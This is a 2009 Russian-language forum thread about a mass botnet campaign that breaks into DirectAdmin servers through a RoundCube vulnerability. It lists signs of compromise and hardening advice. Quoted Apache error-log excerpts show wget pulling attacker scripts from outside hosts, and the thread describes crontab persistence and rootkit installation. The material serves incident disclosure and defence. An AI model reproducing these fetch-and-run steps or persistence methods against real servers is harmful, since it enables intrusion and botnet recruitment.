Обнаружена хакерская активность. Формируется большой ботнет

В общем ребята подошли к делу серъезно. Ломают все что плохо стоит.

В особом списке - серваки с DirectAdmin.

DirectAdmin по дефолту ставит в /var/www/html следующий софт:
RoundCube
phpmyadmin
Squirrelmail
webmail

И делает алиасы на все домены и дефолтные хосты!!!! Софт абсолютно открытый.

Если вам дорого ваш сервер, при установке директадмина убивайте это гавно.



Если у вас стоит директадмин, зайдите посмотрите в /var/log/httpd/error_log

Признаки взлома:

Код:

[Wed Feb 11 18:40:12 2009] [error] [client 77.241.20.10] File does not exist: /var/www/html/404.shtml, referer: http://1gav.com/681-seks-s-molodenkojj-pukhloj --18:40:55--  http://www.igotsluts.com/test/dc.pl Resolving igotsluts.com... 67.55.104.228 Connecting to igotsluts.com|67.55.104.228|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 761 [text/plain] Saving to: `dc.pl'      0K                                                       100% 90.7M=0s 18:40:56 (90.7 MB/s) - `dc.pl' saved [761/761]

или такое

Код:

17:37:09 (66.4 KB/s) - `botn7.txt.1' saved [32362/32362] ........ .                    100% 66.3K=0.5ssh: GET: command not found 17:37:09 (66.3 KB/s) - `botn7.txt.2' saved [32362/32362] sh: GET: command not found --17:37:11--  http://www.submasters.xpg.com.br/botn7.txt Resolving submasters.xpg.com.br... 200.149.77.40 Connecting to submasters.xpg.com.br|200.149.77.40|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 32362 (32K) [text/plain] Saving to: `botn7.txt'      0K .......... .......... .......... .                    100% 70.5K=0.4s 17:37:12 (70.5 KB/s) - `botn7.txt' saved [32362/32362] sh: GET: command not found

Ломают через /var и /tmp - ставьте на эти партиции nosuid,noexec!

Именно там можно обнаружить ирк-ботов (исполнительная часть ботнета), ремот шеллы и т.п.

Если не удалось повысить привилегии, ставят в crontab юзера апача свой autorun. Смотрите в кронтаб.


Если стоит ядро 2.6.18-53 - пиздец.
http://www.centos.org/modules/newbb/viewtopic.php?topic_id=12639

повышение привилегий и здравствуй RootKit.

ПС. Взломы были так же обнаружены и без директадмина, но с опенсорсным ПО. Взломы носят массовый однотипный характер, обнаружить их можно в общем error_log Апача.

Последний раз редактировалось: Pentarh (12/02/09 в 17:01), всего редактировалось 1 раз

А через что ломается, через директадмин ?

Через опенсорс. Просто в дефолтном директадмине идут опенсорсные

RoundCube
phpmyadmin
Squirrelmail
webmail

Доступные из любого домена.

RoundCube сносить надо сразу, через него и ломают. Взломов через пхпадмин, сквирел и вебмейл не обнаруживали пока. Проверить следует /var/tmp/, и крон юзера от которого работает апач. Ломают с 30 декабря, проходят по всем айпишкам датацентров.

Замечу опять же, сломали и те места, где не стоял директадмин с этими раундкубами. Но там стояли другие опенсорсы.

Схема проникновения аналогичная. Аналогично, на машину жертвы ставится IRC-bot с кучей другого говнища.

Из чего можно предположить что составляется массивный ботнет.

С другой стороны, я погуглил по названиям файлов эксплойтов - вышел на какой то бразильский сайт с чемпионатом по хаку

И кстати на взломаных машинах вредоносная деятельность отсутствовала. Даже там где умудрялись впарить руткит.

Может этот мега-ботнет можно как то окучить? У меня куча их исходников со списками юзнета и каналами. Вообще похоже на какую то дорогую, спланированную большую кампанию.

Описал полностью тут
http://www.pentarh.com/wp/2009/02/13/large-growing-botnet-detected/

Уязвимость roundcube: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5619

Уязвимость баянистая уже. Закрыли этот issue еще в самом начале января.